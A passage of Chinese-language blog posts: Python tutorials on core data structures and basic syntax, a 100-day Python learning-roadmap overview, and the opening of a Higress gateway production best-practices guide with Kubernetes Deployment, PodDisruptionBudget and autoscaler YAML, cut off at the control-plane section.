print(nums + [6, 7])      # 拼接：[1,2,3,4,5,6,7]
print(nums * 2)           # 重复：[1,2,3,4,5,1,2,3,4,5]
print(3 in nums)          # 成员运算：True
print(len(nums))          # 长度：5
print(max(nums), min(nums), sum(nums))   # 15 的最大/最小/求和

索引与切片

nums = [0, 1, 2, 3, 4, 5]
# 索引：从 0 开始，负数表示从末尾
print(nums[0])     # 0
print(nums[-1])    # 5（最后一个）

# 切片 [start:stop:step]，左闭右开
print(nums[1:4])   # [1, 2, 3]
print(nums[:3])    # [0, 1, 2]（省略 start）
print(nums[3:])    # [3, 4, 5]（省略 stop）
print(nums[::2])   # [0, 2, 4]（步长 2）
print(nums[::-1])  # [5,4,3,2,1,0]（反转）

常用方法

nums = [3, 1, 2]

# 增
nums.append(4)          # 末尾添加：[3,1,2,4]
nums.insert(0, 9)       # 指定位置插入：[9,3,1,2,4]
nums.extend([5, 6])     # 扩展（合并另一个列表）

# 删
nums.remove(9)          # 删除第一个值为 9 的元素
popped = nums.pop()     # 弹出末尾元素并返回
popped = nums.pop(0)    # 弹出指定索引
del nums[0]             # del 删除
nums.clear()            # 清空

# 查
nums = [1, 2, 3, 2]
print(nums.index(2))    # 第一次出现的索引：1
print(nums.count(2))    # 出现次数：2

# 排序与反转
nums.sort()             # 原地升序排序：[1,2,2,3]
nums.sort(reverse=True) # 降序
nums.reverse()          # 原地反转
sorted_nums = sorted(nums)          # 返回新列表，不改原列表
nums.sort(key=lambda x: -x)         # 自定义排序规则

列表生成式（推导式）

# 基本形式：[表达式 for 变量 in 可迭代对象]
squares = [x ** 2 for x in range(10)]        # [0,1,4,...,81]

# 带条件过滤
evens = [x for x in range(20) if x % 2 == 0]  # 偶数

# 嵌套
matrix = [[i * j for j in range(3)] for i in range(3)]

# 相比 map/filter 更 Pythonic
nums = [1, 2, 3, 4]
doubled = [n * 2 for n in nums]              # 推荐
# doubled = list(map(lambda n: n*2, nums))   # 等价但不如上面直观

嵌套列表（二维）

# 3×3 矩阵
matrix = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9],
]
print(matrix[1][2])     # 6（第 2 行第 3 列）

# 遍历
for row in matrix:
    for val in row:
        print(val, end=" ")
    print()

[!WARNING] 创建二维列表不要用 [[0]*3]*3！这样三行是同一个对象的引用，改一行三行都变。正确写法：[[0]*3 for _ in range(3)]。

二、元组（tuple）

定义与运算

# 定义（小括号，但括号可省略）
t = (1, 2, 3)
t2 = 1, 2, 3            # 等价
single = (42,)          # 单元素元组必须加逗号！(42) 是整数 42

# 元组不可变：不能增删改
# t[0] = 99  # TypeError

# 运算和列表一样（+ * in 索引 切片），但没有增删改方法
print(t + (4,))         # (1,2,3,4)
print(t[0], t[-1])      # 1 3

打包与解包

# 打包：多个值组成元组
point = 3, 4

# 解包：元组值分别赋给多个变量
x, y = point            # x=3, y=4
print(x, y)

# 交换变量（最经典的用法）
a, b = 1, 2
a, b = b, a             # 现在 a=2, b=1

# 星号解包（接收剩余元素）
first, *rest = [1, 2, 3, 4, 5]
print(first)            # 1
print(rest)             # [2, 3, 4, 5]

# 函数返回多个值本质就是返回元组
def min_max(nums):
    return min(nums), max(nums)
lo, hi = min_max([3, 1, 4, 1, 5])

元组 vs 列表

对比	元组 tuple	列表 list
可变性	不可变	可变
性能	更快、更省内存	稍慢
安全性	数据不会被意外修改	可能被修改
可哈希	是（可作字典的键）	否
使用场景	固定数据、多返回值、字典键	需要增删改的序列

三、字符串（str）

定义与特殊表示

s1 = 'single quotes'
s2 = "double quotes"
s3 = """多行
字符串"""

# 转义字符
print("换行\n制表\t反斜杠\\ 引号\"")

# 原始字符串（r 前缀，不转义，常用于正则/路径）
path = r"C:\new\test.txt"     # 不会把 \n \t 当转义
print(path)

运算与索引切片

s = "Hello, Python"
print(s + "!")            # 拼接
print(s * 2)              # 重复
print(len(s))             # 长度：13
print("Python" in s)      # 成员运算：True
print(s[0])               # H
print(s[-6:])             # Python
print(s[7:])              # Python（切片）

常用方法（按用途分类）

s = "  Hello World  "

# 大小写
"abc".upper()             # "ABC"
"ABC".lower()             # "abc"
"hello world".title()     # "Hello World"
"Hello".swapcase()        # "hELLO"

# 修剪（去空白）
s.strip()                 # "Hello World"（两端）
s.lstrip()                # 去左
s.rstrip()                # 去右

# 查找与判断
"Hello".find("ll")        # 2（找不到返回 -1）
"Hello".index("ll")       # 2（找不到抛异常）
"Hello".startswith("He")  # True
"Hello".endswith("lo")    # True
"123".isdigit()           # True
"abc".isalpha()           # True
"abc123".isalnum()        # True

# 替换
"a-b-c".replace("-", "+") # "a+b+c"

# 拆分与合并
"a,b,c".split(",")        # ['a', 'b', 'c']
"-".join(['a', 'b', 'c']) # "a-b-c"

# 格式化（三种方式）
name, age = "Ethan", 25
"我是%s，%d岁" % (name, age)          # 旧式
"我是{}，{}岁".format(name, age)       # format
f"我是{name}，{age}岁"                 # f-string（推荐）

编码与解码

# str（文本） ↔ bytes（字节）
s = "你好，Python"
b = s.encode("utf-8")     # 编码为字节：b'\xe4\xbd\xa0...'
s2 = b.decode("utf-8")    # 解码回字符串
print(len(s))             # 字符数：9
print(len(b))             # 字节数：更多（中文 UTF-8 占 3 字节）

四、集合（set）

创建与运算

# 创建（自动去重、无序）
s = {1, 2, 3, 3, 2}       # {1, 2, 3}
s2 = set([1, 2, 2, 3])    # 从列表创建（去重）
empty = set()             # 注意：{} 是空字典，不是空集合！

# 去重是集合最常见的用途
nums = [1, 2, 2, 3, 3, 3]
unique = list(set(nums))  # [1, 2, 3]

集合运算（数学）

a = {1, 2, 3, 4}
b = {3, 4, 5, 6}

print(a & b)      # 交集 {3, 4}       a.intersection(b)
print(a | b)      # 并集 {1,2,3,4,5,6} a.union(b)
print(a - b)      # 差集 {1, 2}        a.difference(b)
print(a ^ b)      # 对称差集 {1,2,5,6} a.symmetric_difference(b)

# 比较
print({1, 2} <= a)    # 子集：True
print(a >= {1, 2})    # 超集：True

常用方法与不可变集合

s = {1, 2}
s.add(3)              # 添加
s.update([4, 5])      # 批量添加
s.remove(1)           # 删除（不存在报错）
s.discard(99)         # 删除（不存在不报错）
print(2 in s)         # 成员运算（集合的 in 极快，O(1)）

# 不可变集合 frozenset（可作字典的键）
fs = frozenset([1, 2, 3])

五、字典（dict）

创建与使用

# 创建
person = {"name": "Ethan", "age": 25, "city": "Shanghai"}
person2 = dict(name="Tom", age=30)       # 关键字参数
person3 = dict([("a", 1), ("b", 2)])     # 键值对序列
empty = {}                                # 空字典

# 访问
print(person["name"])          # Ethan
# print(person["xxx"])         # 键不存在会 KeyError
print(person.get("xxx"))       # None（推荐，不报错）
print(person.get("xxx", "默认值"))  # 键不存在返回默认值

增删改查

person = {"name": "Ethan"}

# 增 / 改（键存在则改，不存在则增）
person["age"] = 25
person.update({"city": "SH", "age": 26})   # 批量更新

# 删
del person["city"]
age = person.pop("age")        # 删除并返回值
person.pop("xxx", None)        # 键不存在给默认值，不报错
person.clear()                 # 清空

# 查
print("name" in person)        # 判断键是否存在

遍历

scores = {"语文": 90, "数学": 95, "英语": 88}

# 遍历键
for key in scores:                    # 等价 scores.keys()
    print(key)

# 遍历值
for val in scores.values():
    print(val)

# 遍历键值对（最常用）
for key, val in scores.items():
    print(f"{key}: {val}")

# 字典生成式
squared = {x: x ** 2 for x in range(5)}   # {0:0, 1:1, 2:4, 3:9, 4:16}

应用示例

# 统计词频
words = ["apple", "banana", "apple", "cherry", "banana", "apple"]
counter = {}
for w in words:
    counter[w] = counter.get(w, 0) + 1
print(counter)     # {'apple': 3, 'banana': 2, 'cherry': 1}

# 用 collections.Counter 更简洁
from collections import Counter
print(Counter(words))              # Counter({'apple': 3, 'banana': 2, 'cherry': 1})
print(Counter(words).most_common(2))  # 出现最多的 2 个

结构之间的转换

# list ↔ tuple ↔ set ↔ str
lst = [1, 2, 3]
tpl = tuple(lst)        # (1, 2, 3)
st = set(lst)           # {1, 2, 3}（去重）
back = list(st)

# str → list
list("abc")             # ['a', 'b', 'c']
"abc".split()           # 按空白拆
"".join(['a', 'b'])     # list → str

# dict 相关
dict([("a", 1)])        # [('a',1)] → {'a':1}
d = {"a": 1, "b": 2}
list(d.keys())          # ['a', 'b']
list(d.values())        # [1, 2]
list(d.items())         # [('a',1), ('b',2)]

常见问题 Q&A

Q1：列表和元组怎么选？ A：数据需要修改用列表；数据固定不变（如坐标、配置、函数多返回值）用元组。元组更快、更安全，还能作字典的键。

Q2：{} 是空集合还是空字典？ A：是空字典！空集合必须用 set()。这是常见陷阱。

Q3：remove、pop、del 有什么区别？ A：remove(值) 按值删除；pop(索引) 删除并返回该元素（默认末尾）；del list[i] 按索引删除且不返回。

Q4：sort() 和 sorted() 区别？ A：sort() 是列表方法，原地排序返回 None；sorted() 是内置函数，返回新列表，且适用于任何可迭代对象。

Q5：字典是有序的吗？ A：Python 3.7+ 字典保证按插入顺序遍历（3.6 是实现细节）。之前的版本无序，需有序要用 collections.OrderedDict。

Q6：为什么集合的 in 判断比列表快？ A：集合基于哈希表，in 是 O(1)；列表是逐个比较，O(n)。频繁做成员判断时优先用集合。

复习卡片

[!TIP] 五大结构速记

列表：可变有序，append/insert/remove/pop/sort，生成式 [x for x in ...]，切片 [start:stop:step]

元组：不可变，(1,) 单元素要加逗号，a,b = b,a 解包交换，可作字典键

字符串：不可变，split/join/replace/strip/find，encode/decode 转字节，f-string 格式化

集合：无序去重，& | - ^ 交并差对称差，in 是 O(1)，{} 是空字典不是空集合

字典：键值对，get() 安全取值，items() 遍历，3.7+ 保持插入序

切片通用：[左闭:右开:步长]，[::-1] 反转

去重：list(set(x))；统计：collections.Counter

推导式：列表 []、字典 {k:v}、集合 {}、生成器 () 都支持

[!TIP] 下一篇：函数、模块与面向对象将讲解函数定义与参数、高阶函数、Lambda、装饰器、递归，以及面向对象编程（类、对象、继承、多态）。

返回 Python 学习路线总览 | 合集页

初识 Python 与基础语法

Fri, 18 Sep 2026 01:30:00 GMT

[!NOTE] 本文对应仓库 Day01~07：从认识 Python、搭建环境开始，掌握变量、运算符、分支、循环这些最基础的构件。这是整个学习路线的地基，务必动手把每个例子都敲一遍。

一、初识 Python

Python 的优缺点

优点	缺点
语法简洁、可读性强（"优雅""明确"）	运行速度较慢（解释型语言）
学习曲线低，非专业人士也能上手	代码无法加密（源码可见）
开源、生态强大（第三方库丰富）	线程无法利用多核 CPU（GIL 全局解释器锁）
跨平台、可移植性好	移动端开发较弱
支持面向对象 + 函数式编程	-

安装环境

# Windows：从 python.org 下载安装包
# 安装时务必勾选 "Add Python to PATH"！

# macOS
brew install python

# Linux（Debian/Ubuntu）
sudo apt update && sudo apt install python3 python3-pip

# 验证
python --version      # Python 3.10+
pip --version

第一个程序

# hello.py
print("Hello, World!")          # 输出到控制台

# 运行方式
# 1. 命令行：python hello.py
# 2. 交互式：python 进入 REPL，逐行输入
# 3. IDE：VS Code / PyCharm 点击运行

注释

# 单行注释：以 # 开头

"""
多行注释 / 文档字符串：
用三个单引号或双引号包裹
常用作函数、模块的说明文档（docstring）
"""

print("代码")  # 行尾注释

二、变量和类型

变量的使用

Python 是动态类型语言，变量不需要声明类型，赋值即创建：

# 变量命名规则：字母/数字/下划线组成，不能以数字开头，不能用关键字
a = 100              # int 整数
b = 3.14             # float 浮点数
c = True             # bool 布尔
s = "Hello"          # str 字符串
n = None             # NoneType 空值

# 查看类型
print(type(a))       # <class 'int'>
print(type(b))       # <class 'float'>
print(type(s))       # <class 'str'>

# 动态类型：同一变量可重新赋不同类型
a = "now a string"
print(type(a))       # <class 'str'>

类型转换

# int() / float() / str() / bool()
x = int("123")       # 字符串 → 整数：123
y = float("3.14")    # 字符串 → 浮点：3.14
z = str(100)         # 整数 → 字符串："100"
print(int(3.99))     # 浮点 → 整数（直接截断）：3
print(bool(0))       # → False（0、空串、None 都是 False）
print(bool(""))      # → False

# 输入（从键盘读入，永远是字符串）
name = input("请输入你的名字：")
age = int(input("请输入年龄："))   # 需手动转换类型

变量命名规范（PEP 8）

# ✅ 推荐：小写字母 + 下划线（snake_case）
user_name = "Ethan"
max_retry_count = 3

# ✅ 常量：全大写
PI = 3.14159
MAX_SIZE = 100

# ❌ 避免：驼峰命名（Python 不用）、无意义单字母（循环变量除外）

三、运算符

算术运算符

a, b = 7, 2
print(a + b)     # 加：9
print(a - b)     # 减：5
print(a * b)     # 乘：14
print(a / b)     # 除（结果是 float）：3.5
print(a // b)    # 整除（向下取整）：3
print(a % b)     # 取余（模）：1
print(a ** b)    # 幂运算：49

[!WARNING] / 永远返回 float（4 / 2 = 2.0），要整数结果用 //。负数整除是向下取整：-7 // 2 = -4（不是 -3）。

赋值运算符

x = 10
x += 5    # x = x + 5  → 15
x -= 3    # x = x - 3  → 12
x *= 2    # x = x * 2  → 24
x /= 4    # x = x / 4  → 6.0
x //= 2   # 整除赋值
x %= 4    # 取余赋值
x **= 2   # 幂赋值

# Python 没有 ++ / --，用 x += 1 / x -= 1

比较与逻辑运算符

# 比较运算符：== != > < >= <=，结果是 bool
print(3 == 3)     # True
print(3 != 4)     # True

# 逻辑运算符：and（与）or（或）not（非）
age = 20
print(age >= 18 and age < 60)   # True
print(age < 12 or age > 65)     # False
print(not (age >= 18))          # False

# 短路特性：and 前为 False 就不算后面；or 前为 True 就不算后面

应用示例

# 例1：华氏温度转摄氏温度  C = (F - 32) / 1.8
f = float(input("请输入华氏温度："))
c = (f - 32) / 1.8
print(f"{f}°F = {c:.1f}°C")     # f-string 格式化，保留 1 位小数

# 例2：计算圆的周长和面积
import math
r = float(input("请输入半径："))
print(f"周长 = {2 * math.pi * r:.2f}")
print(f"面积 = {math.pi * r ** 2:.2f}")

# 例3：判断闰年（能被4整除但不能被100整除，或能被400整除）
year = int(input("请输入年份："))
is_leap = (year % 4 == 0 and year % 100 != 0) or year % 400 == 0
print(f"{year} 是闰年吗？{is_leap}")

四、分支结构

if / elif / else

score = int(input("请输入成绩："))

if score >= 90:
    grade = "优秀"
elif score >= 80:
    grade = "良好"
elif score >= 60:
    grade = "及格"
else:
    grade = "不及格"

print(f"等级：{grade}")

[!NOTE] Python 用缩进（4 个空格）表示代码块，没有 {}。冒号 : 后必须换行缩进，缩进不一致会报 IndentationError。

三元表达式（条件运算）

age = 20
status = "成年" if age >= 18 else "未成年"
print(status)     # 成年

# 分段函数求值
x = 5
if x > 1:
    y = 3 * x - 5
elif x >= -1:
    y = x + 2
else:
    y = 5 * x + 3

match / case（Python 3.10+ 结构化模式匹配）

# 类似其他语言的 switch，但更强大
command = input("请输入命令：")
match command:
    case "start":
        print("启动")
    case "stop" | "quit":        # 多值匹配（或）
        print("停止")
    case "restart":
        print("重启")
    case _:                       # 默认分支（相当于 default）
        print("未知命令")

# 可解构数据结构
point = (0, 5)
match point:
    case (0, 0):
        print("原点")
    case (0, y):
        print(f"在 Y 轴上，y={y}")
    case (x, 0):
        print(f"在 X 轴上，x={x}")
    case (x, y):
        print(f"普通点 ({x}, {y})")

实战：计算三角形周长和面积（海伦公式）

import math
a, b, c = 3, 4, 5

# 先判断能否构成三角形（任意两边之和大于第三边）
if a + b > c and a + c > b and b + c > a:
    perimeter = a + b + c
    p = perimeter / 2
    area = math.sqrt(p * (p - a) * (p - b) * (p - c))  # 海伦公式
    print(f"周长 = {perimeter}, 面积 = {area:.2f}")
else:
    print("无法构成三角形")

五、循环结构

for-in 循环

# 遍历 range（最常用）
for i in range(5):          # 0,1,2,3,4
    print(i)

for i in range(1, 6):       # 1,2,3,4,5（左闭右开）
    print(i)

for i in range(0, 10, 2):   # 0,2,4,6,8（步长为 2）
    print(i)

# 遍历序列
for ch in "Python":
    print(ch)

for item in [1, 2, 3]:
    print(item)

# 求和
total = 0
for n in range(1, 101):
    total += n
print(f"1 到 100 的和 = {total}")   # 5050

while 循环

# 当条件为真时循环
count = 0
while count < 5:
    print(count)
    count += 1

break 和 continue

# break：跳出整个循环
for i in range(10):
    if i == 5:
        break           # i=5 时结束循环
    print(i)            # 输出 0,1,2,3,4

# continue：跳过本次，进入下一轮
for i in range(10):
    if i % 2 == 0:
        continue        # 偶数跳过
    print(i)            # 输出 1,3,5,7,9

嵌套循环

# 九九乘法表
for i in range(1, 10):
    for j in range(1, i + 1):
        print(f"{j}×{i}={i*j}", end="\t")   # end="\t" 制表符分隔，不换行
    print()                                  # 内层结束换行

循环实战例子

# 例1：判断素数（只能被 1 和自己整除）
num = int(input("请输入一个正整数："))
is_prime = num > 1
for i in range(2, int(num ** 0.5) + 1):   # 只需检查到平方根
    if num % i == 0:
        is_prime = False
        break
print(f"{num} 是素数吗？{is_prime}")

# 例2：斐波那契数列（1 1 2 3 5 8 13...）
n = 10
a, b = 0, 1
for _ in range(n):
    print(b, end=" ")
    a, b = b, a + b       # 同时赋值（交换）

# 例3：水仙花数（各位数字立方和等于自身，如 153=1³+5³+3³）
for num in range(100, 1000):
    low = num % 10              # 个位
    mid = num // 10 % 10        # 十位
    high = num // 100           # 百位
    if low ** 3 + mid ** 3 + high ** 3 == num:
        print(num)              # 153, 370, 371, 407

# 例4：百钱百鸡（公鸡5元/母鸡3元/小鸡1元3只，100元买100只）
for x in range(0, 21):          # 公鸡最多 20 只
    for y in range(0, 34):      # 母鸡最多 33 只
        z = 100 - x - y         # 小鸡数量
        if z % 3 == 0 and 5 * x + 3 * y + z // 3 == 100:
            print(f"公鸡{x}只, 母鸡{y}只, 小鸡{z}只")

# 例5：猜数字游戏
import random
answer = random.randint(1, 100)
count = 0
while True:
    count += 1
    guess = int(input("请输入你猜的数字："))
    if guess > answer:
        print("大了")
    elif guess < answer:
        print("小了")
    else:
        print(f"恭喜猜对！你一共猜了 {count} 次")
        break

常见问题 Q&A

Q1：Python 2 和 Python 3 该学哪个？ A：毫无疑问学 Python 3。Python 2 已于 2020 年停止维护，本系列全部基于 Python 3.10+。

Q2：缩进到底用几个空格？能用 Tab 吗？ A：官方规范 PEP 8 要求 4 个空格。不要混用 Tab 和空格（会报 TabError）。IDE 一般会把 Tab 自动转成空格。

Q3：/ 和 // 有什么区别？ A：/ 是真除法，结果永远是 float（7/2=3.5）；// 是整除（向下取整），7//2=3、-7//2=-4。

Q4：input() 拿到的是什么类型？ A：永远是 字符串 str。要做数学运算必须先用 int() 或 float() 转换，否则会拼接或报错。

Q5：range(5) 包含 5 吗？ A：不包含。range(5) 是 0~4（左闭右开）。range(1, 6) 是 1~5。这是 Python 的通用约定（切片同理）。

Q6：什么是 f-string？ A：Python 3.6+ 的字符串格式化方式，在引号前加 f，用 {} 嵌入变量或表达式：f"{name} is {age}"。可以控制精度 {x:.2f}、对齐、百分比等，是目前最推荐的写法。

复习卡片

[!TIP] 本篇速记

动态类型：变量赋值即创建，用 type() 查看类型，可随时改类型

基本类型：int / float / bool / str / NoneType

除法陷阱：/ 得 float，// 整除向下取整，% 取余，** 幂

分支：if/elif/else；Python 3.10+ 有 match/case

循环：for-in（配 range）、while；break 跳出、continue 跳过

缩进即代码块：4 个空格，冒号后换行缩进

input() 返回 str：运算前必须 int()/float() 转换

f-string：f"{表达式}" 是首选格式化方式

交换变量：a, b = b, a（无需临时变量）

[!TIP] 下一篇：常用数据结构将讲解 Python 五大核心数据结构——列表、元组、字符串、集合、字典，这是日常编程用得最多的部分。

返回 Python 学习路线总览 | 合集页

Python 学习路线总览

Fri, 18 Sep 2026 01:00:00 GMT

[!NOTE] 本系列基于骆昊(jackfrued)的经典开源教程 《Python - 100天从新手到大师》（GitHub 18万+ Star）整理，共 16 篇文章（总览 + 15 专题），把 100 天的内容按 10 大阶段重新编排为复习友好的博客系列。

面向零基础初学者，也适合有其他语言基础想快速上手 Python、或从后端/爬虫/数据科学某一方向切入的开发者。

学习路径：语言基础 → 办公与进阶 → 数据库与 Web → 爬虫 → 数据科学与机器学习 → 项目实战

Python 应用领域与就业方向

Python 是一门"优雅、明确、简单"的语言：学习曲线低、生态强大、跨平台、支持面向对象与函数式编程、可读性强。

应用领域	常搭配的语言	对应岗位
后端开发	Python / Java / Go	Python 后端开发工程师
DevOps	Python / Shell	运维工程师 / SRE
数据采集	Python / C++	爬虫工程师（作者注：不推荐此赛道）
量化交易	Python / C++ / R	量化开发工程师
数据科学	Python / R / Julia	数据分析师 / 数据科学家
机器学习	Python / C++	算法工程师
自动化测试	Python / Shell	测试开发工程师

作者观点：数据科学是当前最热门的赛道，各行各业积累了大量数据，都需要从数据中发现商业价值、支撑决策（数据驱动决策）。

给初学者的 5 条建议：

Make English as your working language.（让英语成为你的工作语言）
Practice makes perfect.（熟能生巧）
All experience comes from the mistakes you've made.（经验源于犯过的错）
Don't be a freeloader.（学会分享，别只当伸手党）
Embrace AI to boost your productivity.（拥抱 AI，提升效率）

知识地图

Python 学习路线（对应仓库 100 天 / 10 阶段）
│
├── 基础篇（Day01~35）
│   ├── 01 初识 Python 与基础语法（环境/变量/运算符/分支/循环）
│   ├── 02 常用数据结构（列表/元组/字符串/集合/字典）
│   ├── 03 函数、模块与面向对象（函数/装饰器/递归/类/继承多态）
│   ├── 04 文件操作与数据交换（文件读写/异常/JSON/CSV/pip）
│   ├── 05 办公自动化与图像处理（Excel/Word/PPT/PDF/图像/邮件）
│   ├── 06 正则表达式与 Linux（正则/Linux 命令/Shell）
│   └── 07 Python 语言进阶（数据结构算法/迭代器生成器/并发编程）
│
├── Web 开发篇（Day36~60）
│   ├── 08 数据库与 MySQL（SQL/索引/Python 接入/Hive）
│   ├── 09 Django 入门（ORM/Ajax/Cookie&Session/中间件）
│   └── 10 Django 进阶与 RESTful（DRF/缓存/Celery/测试/上线）
│
├── 数据采集篇（Day61~65）
│   └── 11 网络爬虫（requests/并发/Selenium/Scrapy）
│
├── 数据科学篇（Day66~90）
│   ├── 12 数据分析：NumPy 与 pandas（数组/Series/DataFrame）
│   ├── 13 数据可视化（matplotlib/seaborn/pyecharts）
│   └── 14 机器学习（kNN/决策树/回归/聚类/集成/神经网络/NLP）
│
└── 实战篇（Day91~100）
    └── 15 项目实战、部署与面试（敏捷/Docker/商业项目/部署/面试）

文章索引

基础篇

编号	标题	对应天数	核心内容
01	初识 Python 与基础语法	Day01-07	Python 简介、环境安装、变量与类型、运算符、分支、循环
02	常用数据结构	Day08-13	列表、元组、字符串、集合、字典
03	函数、模块与面向对象	Day14-20	函数与参数、高阶函数、装饰器、递归、类与对象、继承多态
04	文件操作与数据交换	Day21-23	文件读写、异常处理、JSON 序列化、CSV、pip、网络 API
05	办公自动化与图像处理	Day24-29	Excel、Word/PPT、PDF、Pillow 图像、邮件短信
06	正则表达式与 Linux	Day30,33	正则表达式、Linux 命令、文件系统、Shell 编程
07	Python 语言进阶	Day31-32,35	数据结构与算法、迭代器与生成器、并发编程、Web 前端入门

Web 开发篇

编号	标题	对应天数	核心内容
08	数据库与 MySQL	Day36-45	关系型数据库、SQL(DDL/DML/DQL/DCL)、索引、Python 接入、Hive
09	Django 入门	Day46-52	Web 机制、ORM 模型、Ajax、Cookie/Session、报表日志、中间件
10	Django 进阶与 RESTful	Day53-60	前后端分离、DRF、缓存、Celery 异步、单元测试、项目上线

数据采集篇

编号	标题	对应天数	核心内容
11	网络爬虫	Day61-65	爬虫概述与合法性、requests、并发、Selenium、Scrapy

数据科学篇

编号	标题	对应天数	核心内容
12	数据分析：NumPy 与 pandas	Day66-77	Anaconda、Jupyter、NumPy 数组、pandas Series/DataFrame、数据清洗
13	数据可视化	Day78-80	matplotlib、高阶图表、seaborn、pyecharts
14	机器学习	Day81-90	kNN、决策树、随机森林、朴素贝叶斯、回归、K-Means、集成学习、神经网络、NLP

实战篇

编号	标题	对应天数	核心内容
15	项目实战、部署与面试	Day91-100	敏捷开发、Docker、API 设计、Django 商业项目、测试、部署上线、面试宝典

学习路径建议

按角色选择

角色	推荐路径	重点章节
零基础初学者	01→07 全部	打牢语法与数据结构基础
后端开发	01-04 → 08 → 09 → 10 → 15	数据库、Django、部署上线
数据分析师	01-04 → 12 → 13	NumPy、pandas、可视化
数据科学 / 算法	01-04 → 12 → 13 → 14	机器学习全流程
爬虫工程师	01-04 → 06 → 07 → 11	正则、并发、Selenium、Scrapy
全栈 / 系统学习	全部按顺序	完整掌握

按时间规划

阶段	对应天数	建议时长	内容
语言基础	Day01-35	3-4 周	01-07 篇
Web 开发	Day36-60	3-4 周	08-10 篇
数据采集	Day61-65	1 周	11 篇
数据科学	Day66-90	3-4 周	12-14 篇
项目实战	Day91-100	1-2 周	15 篇
总计	100 天	约 3 个月	完整掌握 Python

前置知识

必备：基本的计算机操作、任一编程语言的经验更佳（没有也可以，从 01 开始）
推荐：英语阅读能力（文档、报错多为英文）
数学：机器学习篇（14）需要一定的线性代数、概率统计基础

环境准备

# 1. 安装 Python（推荐 3.10+）
# Windows：从 python.org 下载安装包，勾选 "Add Python to PATH"
# macOS：brew install python
# Linux：sudo apt install python3 python3-pip

# 2. 验证安装
python --version        # 或 python3 --version
pip --version

# 3. 推荐使用虚拟环境隔离项目依赖
python -m venv venv
# Windows
venv\Scripts\activate
# macOS / Linux
source venv/bin/activate

# 4. 数据科学篇推荐直接用 Anaconda（自带 NumPy/pandas/Jupyter）
# 从 anaconda.com 下载 Miniconda（轻量）或 Anaconda（完整）
conda --version

# 5. 开发工具（任选）
# - VS Code（推荐，装 Python 插件）
# - PyCharm（专业 IDE）
# - Jupyter Lab（数据分析/机器学习交互式）

系列约定

代码示例：Python 3.10+，遵循 PEP 8 规范
配置/命令：以 bash 为主，Windows 用户注意用 PowerShell 或 Git Bash
版本基准：Django 4.x、NumPy/pandas 最新版、scikit-learn 1.x
每篇结构：导语 → 知识点讲解（表格 + 可运行代码）→ 常见问题 Q&A → 复习卡片 → 下一篇链接
动手实践：强烈建议每篇的代码都在本地敲一遍跑通，"熟能生巧"

[!TIP] 下一篇：初识 Python 与基础语法将从 Python 简介、环境安装讲起，覆盖变量与类型、运算符、分支结构（if/match）、循环结构（for/while），并配有华氏摄氏转换、判断闰年、猜数字游戏等经典小例子。

返回 Python 学习路线合集

Higress 生产最佳实践

Thu, 17 Sep 2026 09:00:00 GMT

[!NOTE] 本文是 Higress 学习路线的最后一篇，汇总生产环境落地的关键实践：高可用部署、性能调优、安全加固、CI/CD 与 GitOps、多集群管理、容量规划、故障演练。前 13 篇讲"怎么用"，本篇讲"怎么用好、用稳"。

生产落地检查清单

在把 Higress 推向生产前，先过一遍这张清单：

维度	检查项	状态
高可用	Gateway ≥ 3 副本、跨节点/跨可用区、配置 PDB	☐
资源	设置 requests/limits、启用 HPA	☐
配置	CRD 纳入 Git、GitOps 自动同步	☐
备份	etcd / CRD 定期备份、可回滚	☐
安全	mTLS、RBAC、Secret 加密、镜像扫描	☐
可观测	Metrics + Tracing + 日志三件套、告警规则	☐
发布	灰度/蓝绿、快速回滚预案	☐
容量	压测基线、扩容阈值明确	☐
演练	故障注入、Chaos 演练、Runbook	☐

一、高可用部署

1.1 Gateway 多副本 + 反亲和

数据面（Gateway）是流量入口，必须多副本、跨节点分散，避免单点。

apiVersion: apps/v1
kind: Deployment
metadata:
  name: higress-gateway
  namespace: higress-system
spec:
  replicas: 3                      # 生产至少 3 副本
  strategy:
    type: RollingUpdate
    rollingUpdate:
      maxUnavailable: 0            # 滚动更新时不允许不可用
      maxSurge: 1
  template:
    spec:
      affinity:
        # 节点反亲和：副本分散到不同节点
        podAntiAffinity:
          requiredDuringSchedulingIgnoredDuringExecution:
            - labelSelector:
                matchLabels:
                  app: higress-gateway
              topologyKey: kubernetes.io/hostname
        # 可用区反亲和（软约束）：尽量跨 AZ
        podAntiAffinity:
          preferredDuringSchedulingIgnoredDuringExecution:
            - weight: 100
              podAffinityTerm:
                labelSelector:
                  matchLabels:
                    app: higress-gateway
                topologyKey: topology.kubernetes.io/zone
      topologySpreadConstraints:
        # 拓扑分布约束：跨 AZ 均衡
        - maxSkew: 1
          topologyKey: topology.kubernetes.io/zone
          whenUnsatisfiable: ScheduleAnyway
          labelSelector:
            matchLabels:
              app: higress-gateway
      containers:
        - name: gateway
          resources:
            requests:
              cpu: "1000m"
              memory: "1Gi"
            limits:
              cpu: "2000m"
              memory: "2Gi"

[!WARNING] 上面为演示把两个 podAntiAffinity 写在一起，实际同一个 affinity 下只能有一个 podAntiAffinity 字段。生产中请把节点反亲和放到 requiredDuringScheduling、AZ 反亲和放到 preferredDuringScheduling，合并为一个 podAntiAffinity 对象。

1.2 PodDisruptionBudget（PDB）

防止节点维护、集群升级时同时驱逐过多 Gateway 副本。

apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
  name: higress-gateway-pdb
  namespace: higress-system
spec:
  minAvailable: 2                  # 任意时刻至少 2 个可用
  selector:
    matchLabels:
      app: higress-gateway

1.3 HPA 自动扩缩容

按 CPU / QPS / 连接数自动扩容，应对流量高峰。

apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: higress-gateway-hpa
  namespace: higress-system
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: higress-gateway
  minReplicas: 3
  maxReplicas: 20
  metrics:
    # CPU 使用率
    - type: Resource
      resource:
        name: cpu
        target:
          type: Utilization
          averageUtilization: 70
    # 内存使用率
    - type: Resource
      resource:
        name: memory
        target:
          type: Utilization
          averageUtilization: 80
  behavior:
    scaleUp:
      stabilizationWindowSeconds: 30   # 快速扩容
      policies:
        - type: Percent
          value: 100
          periodSeconds: 30
    scaleDown:
      stabilizationWindowSeconds: 300  # 缓慢缩容，防抖动
      policies:
        - type: Percent
          value: 10
          periodSeconds: 60

[!TIP] 更精准的做法是用 KEDA 基于 Prometheus 的 QPS/连接数指标扩缩容，而不是只看 CPU。网关是 I/O 密集型，CPU 未必能真实反映负载。

1.4 控制面高可用

